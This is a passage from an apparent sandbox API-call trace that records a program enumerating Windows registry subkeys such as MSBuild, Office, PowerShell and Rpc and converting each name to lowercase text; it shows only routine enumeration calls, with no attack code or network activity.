dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x3ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x3ab930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x3ac120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x3ab930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x3ac0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x3ab930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x3ab930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x3ab930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x3ab930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x3ab930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x3ab930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x3ab930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x3ab930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x3ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x3ab930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0175.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x3ab930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x3ab930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x3ab930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x3ab930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x3ab930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x3ab930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x3ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x3ab930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x3ac0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0175.643] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x3ab930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x3ab930, cchName=0x104 | out: lpName="Network") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x3ab930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x3ac120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x3ab930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x3ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x3ab930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x3ab930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x3ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x3ab930, cchName=0x104 | out: lpName="Office") returned 0x0 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x3ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0175.644] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x3ab930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x3ac0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x3ab930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x3ab930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x3ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x3ab930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x3ab930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x3ab930, cchName=0x104 | out: lpName="Print") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x3ab930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0175.645] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x3ab930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0175.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x3ab930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x3ab930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x3ac120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x3ab930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x3ab930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x3ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x3ab930, cchName=0x104 | out: lpName="Router") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0175.646] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x3ab930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0175.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 